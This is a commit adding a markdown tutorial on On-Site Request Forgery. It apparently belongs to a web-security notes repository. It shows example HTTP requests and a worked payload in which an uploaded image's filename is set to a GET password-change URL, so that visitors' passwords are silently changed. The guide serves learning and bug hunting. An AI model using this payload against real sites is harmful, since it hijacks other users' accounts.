feat: added OSRF

master
Muhammad Daffa 2023-05-29 18:29:21 +07:00
parent 20f3d0a7a3
commit 795bd8c2e6
1 changed files with 81 additions and 0 deletions

View File

@ -0,0 +1,81 @@
# On-Site Request Forgery (OSRF)
## Introduction
On-Site Request Forgery (OSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. The difference between CSRF is a vulnerability where an attacker initiates requests from domain under their control to perform actions on behalf of victim. However, in OSRF, requests originate from vulnerable application itself and we control where our requests go.
## Where to find
You can detect On-Site Request Forgery (OSRF) everywhere but there are 2 things that need to be looked up.
- Finding reflected input in `src` attribute. For example:
```html
<img src="OUR_INPUT_HERE">
<video width="400" height="200" controls src="OUR_INPUT_HERE">
<audio src="OUR_INPUT_HERE">
<iframe src="OUR_INPUT_HERE">
```
- We can control the filename (there are several requirements that must be met)
- There is a sensitive endpoint that using the GET method
```
GET /settings.php?remove_account=1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
...
```
## How to exploit
Imagine there is functionality in the website where the user can change their password. Here is the request
```
GET /change_password.php?new_password=Testing123
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
...
```
And then there is another functionality where we can control the value inside the `src` attribute, for example we can change our photo profile
```
POST /settings.php
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
...
---------------------------829348923824
Content-Disposition: form-data; name="filename"
testingimage.jpg
---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="testingimage.jpg"
Content-Type: image/gif
IMAGE_CONTENT
...
```
And if we check our public profile page, our input is reflected in the `src` attribute
```html
<div id="profile">
<p id="fullname">daffainfo</p>
<p id="address">Indonesia</p>
<img src="uploads/testingimage.jpg">
</div>
```
To exploit the website using this vulnerability, we need to change the filename from `testingimage.jpg` to `change_password.php?new_password=Testing123`. So, the result is
```html
<div id="profile">
<p id="fullname">daffainfo</p>
<p id="address">Indonesia</p>
<img src="../change_password.php?new_password=Testing123">
</div>
```
If another user visits our profile page, their password will automatically be changed to `Testing123`
## References:
* [Portswigger](https://portswigger.net/blog/on-site-request-forgery)
* [CM2](https://blog.cm2.pw/articles/on-site-request-forgery/)